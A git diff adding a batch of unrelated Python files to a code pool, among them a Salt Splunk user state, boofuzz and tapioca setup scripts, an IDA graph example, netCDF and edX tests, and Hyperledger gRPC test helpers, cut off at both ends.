sock_info + + @property + def description(self): + return self._description + + @description.setter + def description(self, server_description): + assert server_description.address == self._description.address + self._description = server_description + + @property + def pool(self): + return self._pool + + def _split_message(self, message): + """Return request_id, data, max_doc_size. + + :Parameters: + - `message`: (request_id, data, max_doc_size) or (request_id, data) + """ + if len(message) == 3: + return message + else: + # get_more and kill_cursors messages don't include BSON documents. + request_id, data = message + return request_id, data, 0 + + def __str__(self): + d = self._description + return '' % ( + d.address[0], d.address[1], + SERVER_TYPE._fields[d.server_type]) diff --git a/pool/shard009/Python/0084508_grafica2.py b/pool/shard009/Python/0084508_grafica2.py new file mode 100644 index 0000000000000000000000000000000000000000..49cab712a1bdf5654caf5af3d0b3f17d00abf027 --- /dev/null +++ b/pool/shard009/Python/0084508_grafica2.py @@ -0,0 +1,11 @@ +import pylab as pb +import numpy as np + +x = np.linspace(-15,15,100) +y = np.sin(x)/x + +pb.plot(x,y) +pb.plot(x,y,'co') +pb.plot(x,2*y,x,3*y) + +pb.show() \ No newline at end of file diff --git a/pool/shard009/Python/0084509_splunk.py b/pool/shard009/Python/0084509_splunk.py new file mode 100644 index 0000000000000000000000000000000000000000..e03d140f697a5960994472017a7b671042fcdcb1 --- /dev/null +++ b/pool/shard009/Python/0084509_splunk.py @@ -0,0 +1,157 @@ +# -*- coding: utf-8 -*- +''' +Splunk User State Module + +.. versionadded:: 2016.3.0. + +This state is used to ensure presence of users in splunk. + +.. code-block:: yaml + + ensure example test user 1: + splunk.present: + - name: 'Example TestUser1' + - email: example@domain.com +''' + + +def __virtual__(): + ''' + Only load if the splunk module is available in __salt__ + ''' + return 'splunk' if 'splunk.list_users' in __salt__ else False + + +def present(email, profile="splunk", **kwargs): + ''' + Ensure a user is present + + .. code-block:: yaml + + ensure example test user 1: + splunk.user_present: + - realname: 'Example TestUser1' + - name: 'exampleuser' + - email: 'example@domain.com' + - roles: ['user'] + + The following parameters are required: + + email + This is the email of the user in splunk + ''' + + name = kwargs.get('name') + + ret = { + 'name': name, + 'changes': {}, + 'result': None, + 'comment': '' + } + + target = __salt__['splunk.get_user'](email, profile=profile, user_details=True) + + if not target: + if __opts__['test']: + ret['comment'] = 'User {0} will be created'.format(name) + return ret + + # create the user + result = __salt__['splunk.create_user']( + email, profile=profile, **kwargs + ) + if result: + ret['changes'].setdefault('old', None) + ret['changes'].setdefault('new', 'User {0} exists'.format(name)) + ret['result'] = True + else: + ret['result'] = False + ret['comment'] = 'Failed to create {0}'.format(name) + + return ret + else: + ret['comment'] = 'User {0} set to be updated.'.format(name) + if __opts__['test']: + ret['result'] = None + return ret + + # found a user... updating + result = __salt__['splunk.update_user']( + email, profile, **kwargs + ) + + if isinstance(result, bool) and result: + # no update + ret['result'] = None + ret['comment'] = "No changes" + else: + diff = {} + for field in ['name', 'realname', 'roles', 'defaultApp', 'tz', 'capabilities']: + if field == 'roles': + diff['roles'] = list(set(target.get(field, [])).symmetric_difference(set(result.get(field, [])))) + elif target.get(field) != result.get(field): + diff[field] = result.get(field) + + newvalues = result + ret['result'] = True + ret['changes']['diff'] = diff + ret['changes']['old'] = target + ret['changes']['new'] = newvalues + + return ret + + +def absent(email, profile="splunk", **kwargs): + ''' + Ensure a splunk user is absent + + .. code-block:: yaml + + ensure example test user 1: + splunk.absent: + - email: 'example@domain.com' + - name: 'exampleuser' + + The following parameters are required: + + email + This is the email of the user in splunk + name + This is the splunk username used to identify the user. + + ''' + user_identity = kwargs.get('name') + + ret = { + 'name': user_identity, + 'changes': {}, + 'result': None, + 'comment': 'User {0} is absent.'.format(user_identity) + } + + target = __salt__['splunk.get_user'](email, profile=profile) + + if not target: + ret['comment'] = 'User {0} does not exist'.format(user_identity) + ret['result'] = True + return ret + + if __opts__['test']: + ret['comment'] = "User {0} is all set to be deleted".format(user_identity) + ret['result'] = None + return ret + + result = __salt__['splunk.delete_user'](email, profile=profile) + + if result: + ret['comment'] = 'Deleted user {0}'.format(user_identity) + ret['changes'].setdefault('old', 'User {0} exists'.format(user_identity)) + ret['changes'].setdefault('new', 'User {0} deleted'.format(user_identity)) + ret['result'] = True + + else: + ret['comment'] = 'Failed to delete {0}'.format(user_identity) + ret['result'] = False + + return ret diff --git a/pool/shard009/Python/0084511_ex_graph.py b/pool/shard009/Python/0084511_ex_graph.py new file mode 100644 index 0000000000000000000000000000000000000000..13d8b3ba3f306abf080496f3d779000e15f21c6b --- /dev/null +++ b/pool/shard009/Python/0084511_ex_graph.py @@ -0,0 +1,66 @@ +# ----------------------------------------------------------------------- +# This is an example illustrating how to use the graphing functionality in Python +# (c) Hex-Rays +# +from idaapi import GraphViewer + +class MyGraph(GraphViewer): + def __init__(self, funcname, result): + GraphViewer.__init__(self, "call graph of " + funcname) + self.funcname = funcname + self.result = result + + def OnRefresh(self): + self.Clear() + id = self.AddNode(self.funcname) + for x in self.result.keys(): + callee = self.AddNode(x) + self.AddEdge(id, callee) + + return True + + def OnGetText(self, node_id): + return str(self[node_id]) + + def OnCommand(self, cmd_id): + """ + Triggered when a menu command is selected through the menu or its hotkey + @return: None + """ + if self.cmd_close == cmd_id: + self.Close() + return + + print "command:", cmd_id + + def Show(self): + if not GraphViewer.Show(self): + return False + self.cmd_close = self.AddCommand("Close", "F2") + if self.cmd_close == 0: + print "Failed to add popup menu item!" + return True + +def show_graph(): + f = idaapi.get_func(here()) + if not f: + print "Must be in a function" + return + # Iterate through all function instructions and take only call instructions + result = {} + for x in [x for x in FuncItems(f.startEA) if idaapi.is_call_insn(x)]: + for xref in XrefsFrom(x, idaapi.XREF_FAR): + if not xref.iscode: continue + t = GetFunctionName(xref.to) + if not t: + t = hex(xref.to) + result[t] = True + g = MyGraph(GetFunctionName(f.startEA), result) + if g.Show(): + return g + else: + return None + +g = show_graph() +if g: + print "Graph created and displayed!" \ No newline at end of file diff --git a/pool/shard009/Python/0084512_streamer.py b/pool/shard009/Python/0084512_streamer.py new file mode 100644 index 0000000000000000000000000000000000000000..1982731e6b146f9569dd75d2e116cb9806a07841 --- /dev/null +++ b/pool/shard009/Python/0084512_streamer.py @@ -0,0 +1,38 @@ +#!/usr/bin/env python +import json +import time +import config +from mapping.tweet_mapper import TweetMapper +from pprint import pprint +from stream_consumer import StreamConsumer + +tweet_mapper = TweetMapper() + + +def callback(event): + if len(event) > 0: + tweet_json = json.loads(event) + + # Do something more interesting with your tweet here + if config.MAP_TO_DATASIFT_FORMAT: + datasift_tweet_json = tweet_mapper.map_from_gnip_to_datasift(tweet_json) + print "------- DATASIFT MAPPED TWEET -------" + pprint(datasift_tweet_json) + else: + print "------- GNIP TWEET -------" + pprint(tweet_json) + +consumer = StreamConsumer(callback, + config.GNIP_URL, + (config.GNIP_USERNAME, config.GNIP_PASSWORD)) + +if __name__ == "__main__": + while True: + try: + consumer.start() + print "Consumer disconnected. Will attempt to reconnect in 10s" + time.sleep(config.SECONDS_BEFORE_RECONNECT) + except KeyboardInterrupt: + break + except: + raise diff --git a/pool/shard009/Python/0084515_importer.py b/pool/shard009/Python/0084515_importer.py new file mode 100644 index 0000000000000000000000000000000000000000..e37e7bbcad5fd21c11da0d4158b2012a90db40b8 --- /dev/null +++ b/pool/shard009/Python/0084515_importer.py @@ -0,0 +1,114 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +#This program is free software: you can redistribute it and/or modify +#it under the terms of the GNU General Public License as published by +#the Free Software Foundation, either version 3 of the License, or +#(at your option) any later version. +# +#This program is distributed in the hope that it will be useful, +#but WITHOUT ANY WARRANTY; without even the implied warranty of +#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +#GNU General Public License for more details. +# +#You should have received a copy of the GNU General Public License +#along with this program. If not, see +# +# Author: Francois Boulogne , 2012 + +import re +from bibtexparser.bparser import BibTexParser +from bibtexparser import customization + +from libcitebib.utils import uniq + + +def _customizations_latex(record): + """ + This function curstumizes record for bibtex. + See bibtexparser lib for more info. + """ + record = customization.page_double_hyphen(record) + record = customization.homogeneize_latex_encoding(record) + record = customization.author(record) + return record + + +def _customizations_unicode(record): + """ + This function curstumizes record for raw style. + See bibtexparser lib for more info. + """ + record = customization.page_double_hyphen(record) + record = customization.convert_to_unicode(record) + record = customization.author(record) + return record + + +def _get_citations(texfilename): + """ + Get all citations in a tex file. + Citations may appear several times. + + :param texfilename: tex file path + :returns: a list of citations + """ + + with open(texfilename, 'r') as tex: + #it seems that extra spaces in cite with multiple refs + #works with bibtex, but not recommanded as said on wikipedia + + #Catch citations + cite = re.compile('cite(|t|p|t\*|p\*|alt|alp|alt\*|alp\*)({|\[.+?\]{)((\w|-|,|\s)+)}') # Can contain spaces? + allcite = [] + + for line in tex: + #handle commented lines or parts + line = line.split('%')[0] + + #we get citations + results = cite.findall(line) + if results: + # loop on all results for the line + for el in results: + #sometimes, cite contains several citations + foo = re.sub("\s", "", str(el[2])) # remove extra spaces + foo = re.split(",", foo) + allcite.extend(foo) + return allcite + + +def get_citations(texfilenames): + """ + Get all citations in tex files + Citations appear only once. + + :param texfilenames: tex files path + :returns: a list of citations + """ + allcite = [] + for texfilename in texfilenames: + allcite.extend(_get_citations(texfilename)) + #uniqify the list + #A set could not be used since the order might have a sense + allcite = uniq(allcite) + return allcite + + +def get_bibtex_entries(filename, unicode=True): + """ + Parse a bibtex file and return the content + + :param filename: bibtex filepath + :param unicode: If True, unicode style, if False, latex style + :returns: a dictionnary; key=ID, content=entry + """ + if unicode: + _customizations = _customizations_unicode + else: + _customizations = _customizations_latex + + with open(filename, 'r') as bibfile: + biblio = BibTexParser(bibfile.read(), customization=_customizations) + entries = biblio.get_entry_list() + + return biblio.get_entry_dict() diff --git a/pool/shard009/Python/0084521_setup.py b/pool/shard009/Python/0084521_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..7ec55c1d7f8ecf4e91b175f1cdbd929b433b276d --- /dev/null +++ b/pool/shard009/Python/0084521_setup.py @@ -0,0 +1,97 @@ +#!/usr/bin/env python +import ast +import os +import re +from io import open + +from setuptools import find_packages, setup + +setup_dir = os.path.abspath(os.path.dirname(__file__)) + + +def find_version(*path_elements): + """Search a file for `__version__ = 'version number'` and return version. + + @param path_elements: Arguments specifying file to search. + + @return: Version number string. + """ + path = os.path.join(setup_dir, *path_elements) + for line in open(path): + for match in re.finditer(r"__version__\s*=\s(.*)$", line): + return ast.literal_eval(match.group(1)) + raise RuntimeError("version string not found in {0}".format(path)) + + +def get_long_description(): + descr = [] + for fname in "README.rst", "CHANGELOG.rst": + with open(os.path.join(setup_dir, fname), encoding="utf-8") as f: + descr.append(f.read()) + return "\n\n".join(descr) + + +extra_requirements = { + "dev": [ + "black", + "tox", + "flake8", + "check-manifest", + "mock", + "pytest", + "pytest-bdd", + "pytest-cov", + "netifaces", + "ipaddress", + "wheel", + ], + "docs": ["sphinx", "sphinx_rtd_theme", "pygments>=2.4.0"], +} +extra_requirements["dev"] += extra_requirements["docs"] + +setup( + name="boofuzz", + version=find_version("boofuzz", "__init__.py"), + description="A fork and successor of the Sulley Fuzzing Framework", + long_description=get_long_description(), + long_description_content_type="text/x-rst", + maintainer="Joshua Pereyda", + maintainer_email="joshua.t.pereyda@gmail.com", + url="https://github.com/jtpereyda/boofuzz", + packages=find_packages(exclude=["docs", "examples", "request_definitions", "unit_tests", "utils"]), + package_data={"boofuzz.web": ["static/*", "static/*/*", "templates/*", "templates/*/*"]}, + install_requires=[ + "attrs", + "click", + "colorama", + "Flask", + "funcy", + "psutil", + "pyserial", + "pydot", + "tornado", + ], + extras_require=extra_requirements, + python_requires=">=3.6", + entry_points={"console_scripts": ["boo=boofuzz.cli:main"]}, + classifiers=[ + "Development Status :: 4 - Beta", + "Environment :: Console", + "Environment :: Console :: Curses", + "Intended Audience :: Developers", + "Intended Audience :: Science/Research", + "License :: OSI Approved :: GNU General Public License v2 (GPLv2)", + "Natural Language :: English", + "Operating System :: OS Independent", + "Programming Language :: Python", + "Programming Language :: Python :: 3", + "Programming Language :: Python :: 3.6", + "Programming Language :: Python :: 3.7", + "Programming Language :: Python :: 3.8", + "Programming Language :: Python :: 3.9", + "Programming Language :: Python :: 3.10", + "Topic :: Security", + "Topic :: System :: Networking", + "Topic :: Software Development :: Testing :: Traffic Generation", + ], +) diff --git a/pool/shard009/Python/0084530_tst_unlimdim.py b/pool/shard009/Python/0084530_tst_unlimdim.py new file mode 100644 index 0000000000000000000000000000000000000000..69691bdd5dc06f169b34903102cf5fc281eb8691 --- /dev/null +++ b/pool/shard009/Python/0084530_tst_unlimdim.py @@ -0,0 +1,66 @@ +import sys +import unittest +import os +import tempfile +import numpy as np +from numpy.random.mtrand import uniform +from numpy.testing import assert_array_equal, assert_array_almost_equal +import netCDF4 + +# test creating variables with unlimited dimensions, +# writing to and retrieving data from such variables. + +# create an n1dim by n2dim by n3dim random array +n1dim = 4 +n2dim = 10 +n3dim = 8 +ranarr = 100.*uniform(size=(n1dim,n2dim,n3dim)) +FILE_NAME = tempfile.NamedTemporaryFile(suffix='.nc', delete=False).name + +class UnlimdimTestCase(unittest.TestCase): + + def setUp(self): + self.file = FILE_NAME + f = netCDF4.Dataset(self.file, 'w') + # foo has a single unlimited dimension + f.createDimension('n1', n1dim) + f.createDimension('n2', None) + f.createDimension('n3', n3dim) + foo = f.createVariable('data1', ranarr.dtype.str[1:], ('n1','n2','n3')) + # write some data to it. + #foo[:,0:n2dim,:] = ranarr + foo[:] = ranarr + foo[:,n2dim:,:] = 2.*ranarr + # bar has 2 unlimited dimensions + f.createDimension('n4', None) + f.createDimension('n5', n2dim) + f.createDimension('n6', None) + # write some data to it. + bar = f.createVariable('data2', ranarr.dtype.str[1:], ('n4','n5','n6')) +# bar[0:n1dim,:, 0:n3dim] = ranarr + bar[0:n1dim,:, 0:n3dim] = 2.0 + f.close() + + def tearDown(self): + # Remove the temporary files + os.remove(self.file) + + def runTest(self): + """testing unlimited dimensions""" + f = netCDF4.Dataset(self.file, 'r') + foo = f.variables['data1'] + # check shape. + self.assertTrue(foo.shape == (n1dim,2*n2dim,n3dim)) + # check data. + assert_array_almost_equal(foo[:,0:n2dim,:], ranarr) + assert_array_almost_equal(foo[:,n2dim:2*n2dim,:], 2.*ranarr) + bar = f.variables['data2'] + # check shape. + self.assertTrue(bar.shape == (n1dim,n2dim,n3dim)) + # check data. + #assert_array_almost_equal(bar[:,:,:], ranarr) + assert_array_almost_equal(bar[:,:,:], 2.*np.ones((n1dim,n2dim,n3dim),ranarr.dtype)) + f.close() + +if __name__ == '__main__': + unittest.main() diff --git a/pool/shard009/Python/0084533_setup.py b/pool/shard009/Python/0084533_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..dcd5819954d4a0266685cc4babd514e32282aa5f --- /dev/null +++ b/pool/shard009/Python/0084533_setup.py @@ -0,0 +1,100 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + + +try: + from setuptools import setup +except ImportError: + from distutils.core import setup + +import os +import re +import sys + +try: + import pypandoc + readme = pypandoc.convert('README.md', 'rst') +except (IOError, ImportError): + readme = '' + + +package = 'tapioca_meetup' +requirements = [ + 'tapioca-wrapper<0.7.0', + +] +test_requirements = [ + +] + + +def get_version(package): + """ + Return package version as listed in `__version__` in `init.py`. + """ + init_py = open(os.path.join(package, '__init__.py')).read() + return re.search("^__version__ = ['\"]([^'\"]+)['\"]", + init_py, re.MULTILINE).group(1) + + +def get_author(package): + """ + Return package author as listed in `__author__` in `init.py`. + """ + init_py = open(os.path.join(package, '__init__.py')).read() + return re.search("^__author__ = ['\"]([^'\"]+)['\"]", + init_py, re.MULTILINE).group(1) + + +def get_email(package): + """ + Return package email as listed in `__email__` in `init.py`. + """ + init_py = open(os.path.join(package, '__init__.py')).read() + return re.search("^__email__ = ['\"]([^'\"]+)['\"]", + init_py, re.MULTILINE).group(1) + + +# python setup.py register +if sys.argv[-1] == 'publish': + os.system("python setup.py sdist upload") + args = {'version': get_version(package)} + print("You probably want to also tag the version now:") + print(" git tag -a %(version)s -m 'version %(version)s'" % args) + print(" git push --tags") + sys.exit() + + +setup( + name='tapioca-meetup', + version=get_version(package), + description='Meetup API wrapper using tapioca', + long_description=readme, + author=get_author(package), + author_email=get_email(package), + url='https://github.com/lightstrike/tapioca-meetup', + packages=[ + 'tapioca_meetup', + ], + package_dir={'tapioca_meetup': 'tapioca_meetup'}, + include_package_data=True, + install_requires=requirements, + license="MIT", + zip_safe=False, + keywords='meetup', + classifiers=[ + 'Development Status :: 5 - Production/Stable', + 'Intended Audience :: Developers', + 'License :: OSI Approved :: MIT License', + 'Natural Language :: English', + 'Programming Language :: Python :: 2', + 'Programming Language :: Python :: 2.7', + 'Programming Language :: Python :: 3', + 'Programming Language :: Python :: 3.1', + 'Programming Language :: Python :: 3.2', + 'Programming Language :: Python :: 3.3', + 'Programming Language :: Python :: 3.4', + ], + test_suite='tests', + tests_require=test_requirements +) diff --git a/pool/shard009/Python/0084537_extract_emoji_labels.py b/pool/shard009/Python/0084537_extract_emoji_labels.py new file mode 100644 index 0000000000000000000000000000000000000000..6d542ca03c1cb535b90fe34b0ebe4a8169e428c2 --- /dev/null +++ b/pool/shard009/Python/0084537_extract_emoji_labels.py @@ -0,0 +1,39 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +from bs4 import BeautifulSoup +import urllib2 +import json + + +def extract_emoji(): + """ + Extracts emoji from the Unicode emoji page including unicode codepoints, + image data, labels, and annotations. + """ + + url = "http://www.unicode.org/Public/emoji/1.0/full-emoji-list.html" + content = urllib2.urlopen(url).read() + soup = BeautifulSoup(content) + + rows = soup.find_all('tr') + emoji = [] + + for r in rows[1:]: + columns = r.find_all('td') + + code = columns[1].a.string.strip() + img = columns[3].img['src'] + label = columns[12].string.strip() + annotations = [x.string for x in columns[15].find_all('a')] + + emoji.append({'code': code, + 'image': img, + 'label': label, + 'annotations': annotations}) + + return emoji + + +if __name__ == '__main__': + print json.dumps(extract_emoji()) diff --git a/pool/shard009/Python/0084538_ClientStreamToFile.py b/pool/shard009/Python/0084538_ClientStreamToFile.py new file mode 100644 index 0000000000000000000000000000000000000000..a664cde68ee5309b5ed64e351d80ebfaed8622ca --- /dev/null +++ b/pool/shard009/Python/0084538_ClientStreamToFile.py @@ -0,0 +1,40 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +# +# Copyright 2010 British Broadcasting Corporation and Kamaelia Contributors(1) +# +# (1) Kamaelia Contributors are listed in the AUTHORS file and at +# http://www.kamaelia.org/AUTHORS - please extend this file, +# not this notice. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# ------------------------------------------------------------------------- +# +# Simple network client for grabbing data from a TCP server on a given +# port and storing the resulting data to a file. +# +# Originally a sketch used when working on a network server carousel, +# which was located in /Sketches/filereading/ClientStreamToFile.py +# + +from Kamaelia.Internet.TCPClient import TCPClient +from Kamaelia.Chassis.Pipeline import Pipeline +from Kamaelia.File.Writing import SimpleFileWriter + +outputfile = "/tmp/received.raw" +clientServerTestPort=1500 + +Pipeline(TCPClient("127.0.0.1",clientServerTestPort), + SimpleFileWriter(outputfile) + ).run() + diff --git a/pool/shard009/Python/0084540_max_product_subarray.py b/pool/shard009/Python/0084540_max_product_subarray.py new file mode 100644 index 0000000000000000000000000000000000000000..8b9b4020998a4e9babfa6e6c5c2ec4d3cd414d42 --- /dev/null +++ b/pool/shard009/Python/0084540_max_product_subarray.py @@ -0,0 +1,53 @@ +from typing import List + + +class Solution: + def maxProductV1(self, nums: List[int]) -> int: + if len(nums) == 0: + return 0 + ans, prod = float("-Inf"), 1 + for n in nums: + prod *= n + ans = max(ans, prod) + if prod == 0: + prod = 1 + prod = 1 + for n in nums[::-1]: + prod *= n + ans = max(ans, prod) + if prod == 0: + prod = 1 + return ans + + def maxProductV2(self, nums: List[int]) -> int: + if len(nums) == 0: + return 0 + prod_fwd, prod_back = nums, nums[::-1] + for i in range(1, len(nums)): + prod_fwd[i] *= prod_fwd[i - 1] or 1 + prod_back[i] *= prod_back[i - 1] or 1 + return max(prod_fwd + prod_back) + + +# TESTS +for nums, expected in [ + ([2, 3, -2, 4], 6), + ([-2, 0, -1], 0), + ([], 0), + ([1], 1), + ([-2], -2), + ([1, -2], 1), + ([-1, -3], 3), + ([3, -1, 4], 4), + ([3, -1, 2, 6], 12), + ([-2, -3, 0, -4], 6), + ([-2, 1, -3, -4], 12), + ([-2, 1, -3, 1, -4], 12), + ([-2, 1, -3, 1, -4, -2], 48), + ([-2, 1, -3, 1, -4, -2, 0, 49], 49), +]: + sol = Solution() + actual = sol.maxProductV1(nums) + print("Max subarray product of", nums, "->", actual) + assert actual == expected + assert expected == sol.maxProductV2(nums) diff --git a/pool/shard009/Python/0084542_test_signals.py b/pool/shard009/Python/0084542_test_signals.py new file mode 100644 index 0000000000000000000000000000000000000000..5661c73385d79176ef2792d7227447045cbb623b --- /dev/null +++ b/pool/shard009/Python/0084542_test_signals.py @@ -0,0 +1,24 @@ +from django.test import TestCase + +from openedx.core.djangoapps.waffle_utils import WaffleSwitchNamespace +from openedx.core.djangolib.testing.utils import skip_unless_lms +from student.tests.factories import CourseEnrollmentFactory +from ..models import Schedule + + +@skip_unless_lms +class CreateScheduleTests(TestCase): + def test_create_schedule(self): + """ A schedule should be created for every new enrollment if the switch is active. """ + + SWITCH_NAME = 'enable-create-schedule-receiver' + switch_namesapce = WaffleSwitchNamespace('schedules') + + with switch_namesapce.override(SWITCH_NAME, True): + enrollment = CourseEnrollmentFactory() + self.assertIsNotNone(enrollment.schedule) + + with switch_namesapce.override(SWITCH_NAME, False): + enrollment = CourseEnrollmentFactory() + with self.assertRaises(Schedule.DoesNotExist): + enrollment.schedule diff --git a/pool/shard009/Python/0084543_bdd_grpc_util.py b/pool/shard009/Python/0084543_bdd_grpc_util.py new file mode 100644 index 0000000000000000000000000000000000000000..8c621ffee9c08622d0640c1a36742cdb3225cb62 --- /dev/null +++ b/pool/shard009/Python/0084543_bdd_grpc_util.py @@ -0,0 +1,143 @@ + +# Copyright IBM Corp. 2016 All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import os +import re +import subprocess +import devops_pb2 +import fabric_pb2 +import chaincode_pb2 + +import bdd_test_util + +from grpc.beta import implementations + +def getSecretForUserRegistration(userRegistration): + return devops_pb2.Secret(enrollId=userRegistration.secretMsg['enrollId'],enrollSecret=userRegistration.secretMsg['enrollSecret']) + +def getTxResult(context, enrollId): + '''Returns the TransactionResult using the enrollId supplied''' + assert 'users' in context, "users not found in context. Did you register a user?" + assert 'compose_containers' in context, "compose_containers not found in context" + + (channel, userRegistration) = getGRPCChannelAndUser(context, enrollId) + stub = devops_pb2.beta_create_Devops_stub(channel) + + txRequest = devops_pb2.TransactionRequest(transactionUuid = context.transactionID) + response = stub.GetTransactionResult(txRequest, 2) + assert response.status == fabric_pb2.Response.SUCCESS, 'Failure getting Transaction Result from {0}, for user "{1}": {2}'.format(userRegistration.composeService,enrollId, response.msg) + # Now grab the TransactionResult from the Msg bytes + txResult = fabric_pb2.TransactionResult() + txResult.ParseFromString(response.msg) + return txResult + +def getGRPCChannel(ipAddress): + channel = implementations.insecure_channel(ipAddress, 30303) + print("Returning GRPC for address: {0}".format(ipAddress)) + return channel + +def getGRPCChannelAndUser(context, enrollId): + '''Returns a tuple of GRPC channel and UserRegistration instance. The channel is open to the composeService that the user registered with.''' + userRegistration = bdd_test_util.getUserRegistration(context, enrollId) + + # Get the IP address of the server that the user registered on + ipAddress = bdd_test_util.ipFromContainerNamePart(userRegistration.composeService, context.compose_containers) + + channel = getGRPCChannel(ipAddress) + + return (channel, userRegistration) + + +def getDeployment(context, ccAlias): + '''Return a deployment with chaincode alias from prior deployment, or None if not found''' + deployment = None + if 'deployments' in context: + pass + else: + context.deployments = {} + if ccAlias in context.deployments: + deployment = context.deployments[ccAlias] + # else: + # raise Exception("Deployment alias not found: '{0}'. Are you sure you have deployed a chaincode with this alias?".format(ccAlias)) + return deployment + +def deployChaincode(context, enrollId, chaincodePath, ccAlias, ctor): + '''Deploy a chaincode with the specified alias for the specfied enrollId''' + (channel, userRegistration) = getGRPCChannelAndUser(context, enrollId) + stub = devops_pb2.beta_create_Devops_stub(channel) + + # Make sure deployment alias does NOT already exist + assert getDeployment(context, ccAlias) == None, "Deployment alias already exists: '{0}'.".format(ccAlias) + + args = getArgsFromContextForUser(context, enrollId) + ccSpec = chaincode_pb2.ChaincodeSpec(type = chaincode_pb2.ChaincodeSpec.GOLANG, + chaincodeID = chaincode_pb2.ChaincodeID(name="",path=chaincodePath), + ctorMsg = chaincode_pb2.ChaincodeInput(function = ctor, args = args)) + ccSpec.secureContext = userRegistration.getUserName() + if 'metadata' in context: + ccSpec.metadata = context.metadata + try: + ccDeploymentSpec = stub.Deploy(ccSpec, 60) + ccSpec.chaincodeID.name = ccDeploymentSpec.chaincodeSpec.chaincodeID.name + context.grpcChaincodeSpec = ccSpec + context.deployments[ccAlias] = ccSpec + except: + del stub + raise + +def invokeChaincode(context, enrollId, ccAlias, functionName): + # Get the deployment for the supplied chaincode alias + deployedCcSpec = getDeployment(context, ccAlias) + assert deployedCcSpec != None, "Deployment NOT found for chaincode alias '{0}'".format(ccAlias) + + # Create a new ChaincodeSpec by copying the deployed one + newChaincodeSpec = chaincode_pb2.ChaincodeSpec() + newChaincodeSpec.CopyFrom(deployedCcSpec) + + # Update hte chaincodeSpec ctorMsg for invoke + args = getArgsFromContextForUser(context, enrollId) + + chaincodeInput = chaincode_pb2.ChaincodeInput(function = functionName, args = args ) + newChaincodeSpec.ctorMsg.CopyFrom(chaincodeInput) + + ccInvocationSpec = chaincode_pb2.ChaincodeInvocationSpec(chaincodeSpec = newChaincodeSpec) + + (channel, userRegistration) = getGRPCChannelAndUser(context, enrollId) + + stub = devops_pb2.beta_create_Devops_stub(channel) + response = stub.Invoke(ccInvocationSpec,2) + return response + +def getArgsFromContextForUser(context, enrollId): + # Update the chaincodeSpec ctorMsg for invoke + args = [] + if 'table' in context: + # There are function arguments + userRegistration = bdd_test_util.getUserRegistration(context, enrollId) + # Allow the user to specify expressions referencing tags in the args list + pattern = re.compile('\{(.*)\}$') + for arg in context.table[0].cells: + m = pattern.match(arg) + if m: + # tagName reference found in args list + tagName = m.groups()[0] + # make sure the tagName is found in the users tags + assert tagName in userRegistration.tags, "TagName '{0}' not found for user '{1}'".format(tagName, userRegistration.getUserName()) + args.append(userRegistration.tags[tagName]) + else: + #No tag referenced, pass the arg + args.append(arg) + return args diff --git a/pool/shard009/Python/0084545_google.py b/pool/shard009/Python/0084545_google.py new file mode 100644 index 0000000000000000000000000000000000000000..619db0f88e0d4867eef6fd76e463c57f091f365e --- /dev/null +++ b/pool/shard009/Python/0084545_google.py @@ -0,0 +1,15 @@ +import apiclient; +import httplib2; +import oauth2client; + +CLIENT_SECRET_PATH = 'google-app-secret.json' + +credentials = oauth2client.client.credentials_from_clientsecret_and_code( + CLIENT_SECRET_PATH, + ['profile', 'email'], + auth_code) + +http_auth = credentials.authorize(httplib2.Http()) +user_id = credentials.id_token['sub'] +email = credentials.id_token['email'] + diff --git a/pool/shard009/Python/0084548_device_handling_test_support.py b/pool/shard009/Python/0084548_device_handling_test_support.py new file mode 100644 index 0000000000000000000000000000000000000000..f901cff23c3872b723849e07afe1591ff81805ff --- /dev/null +++ b/pool/shard009/Python/0084548_device_handling_test_support.py @@ -0,0 +1,152 @@ +# Copyright 2014 Cisco Systems, Inc. All rights reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + +import mock +from novaclient import exceptions as nova_exc +from oslo_config import cfg +from oslo_log import log as logging +from oslo_utils import excutils + +from neutron import context as n_context +from neutron.i18n import _LE +from neutron import manager +from neutron.openstack.common import uuidutils +from neutron.plugins.common import constants + +LOG = logging.getLogger(__name__) + +VM_LIB = 'networking_cisco.plugins.cisco.l3.service_vm_lib' + +_uuid = uuidutils.generate_uuid + + +class DeviceHandlingTestSupportMixin(object): + + @property + def _core_plugin(self): + return manager.NeutronManager.get_plugin() + + def _mock_l3_admin_tenant(self): + # Mock l3 admin tenant + self.tenant_id_fcn_p = mock.patch( + 'networking_cisco.plugins.cisco.db.l3.device_handling_db.' + 'DeviceHandlingMixin.l3_tenant_id') + self.tenant_id_fcn = self.tenant_id_fcn_p.start() + self.tenant_id_fcn.return_value = "L3AdminTenantId" + + def _create_mgmt_nw_for_tests(self, fmt): + self._mgmt_nw = self._make_network(fmt, + cfg.CONF.general.management_network, + True, tenant_id="L3AdminTenantId", + shared=False) + self._mgmt_subnet = self._make_subnet(fmt, self._mgmt_nw, + "10.0.100.1", "10.0.100.0/24", + ip_version=4) + + def _remove_mgmt_nw_for_tests(self): + q_p = "network_id=%s" % self._mgmt_nw['network']['id'] + subnets = self._list('subnets', 